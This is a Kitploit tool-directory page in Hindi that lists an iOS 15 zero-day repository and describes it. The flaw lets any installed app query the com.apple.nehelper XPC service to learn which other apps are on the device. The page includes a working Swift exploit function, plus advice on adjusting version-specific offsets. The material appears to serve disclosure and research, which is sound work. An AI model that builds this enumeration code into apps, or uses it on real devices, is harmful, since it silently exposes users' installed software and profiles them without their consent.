Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
ios-nehelper-enum-apps-0day — iOS 15 0-day exploit (still works in 15.0.2) | Kitploit
उपकरण/GitHubGitHub/illusionofchaos/ios-nehelper-enum-apps-0day
iOS SecurityVulnerability AnalysisExploitationMobile App PentestingInformation Gathering
GitHubillusionofchaos/ios-nehelper-enum-apps-0day

ios-nehelper-enum-apps-0day

iOS 15 0-day exploit (still works in 15.0.2)

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
वेबसाइट
171544 साल पहलेKitploit द्वारा समीक्षित

nehelper इंस्टॉल किए गए ऐप्स की सूची बनाएं 0-day (iOS 15.0)

मैंने इस कोड को अपडेट किया है ताकि Private API का सीधे उपयोग करने से बचा जा सके। मेरे ब्लॉग पोस्ट में और पढ़ें। हालांकि, इसका मतलब है कि अब यह कोड iOS संस्करण-विशिष्ट और संभवतः डिवाइस मॉडल-विशिष्ट है। इसलिए यदि यह आपके डिवाइस पर काम नहीं करता है, तो c.c फ़ाइल में ऑफसेट की पुनर्गणना करें और उन्हें अपडेट करें। मूल कोड direct शाखा में पाया जा सकता है।

यह भेद्यता किसी भी उपयोगकर्ता-स्थापित ऐप को यह निर्धारित करने की अनुमति देती है कि उसके bundle ID के आधार पर डिवाइस पर कोई भी ऐप स्थापित है या नहीं।

XPC endpoint "com.apple.nehelper" में किसी भी ऐप के लिए सुलभ एक विधि है जो bundle ID को पैरामीटर के रूप में स्वीकार करती है और यदि मेल खाते bundle ID वाला ऐप डिवाइस पर स्थापित है तो कुछ cache UUIDs वाली एक सरणी लौटाती है, अन्यथा एक खाली सरणी लौटाती है। यह /usr/libexec/nehelper में -[NEHelperCacheManager onQueueHandleMessage:] में होता है।

root@kitploit:~
func isAppInstalled(bundleId: String) -> Bool {
    let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
    xpc_connection_set_event_handler(connection, { _ in })
    xpc_connection_resume(connection)
    let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
    xpc_dictionary_set_uint64(xdict, "cache-command", 3)
    xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
    if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
        return true
    }
    return false
}
टूल डाउनलोड करें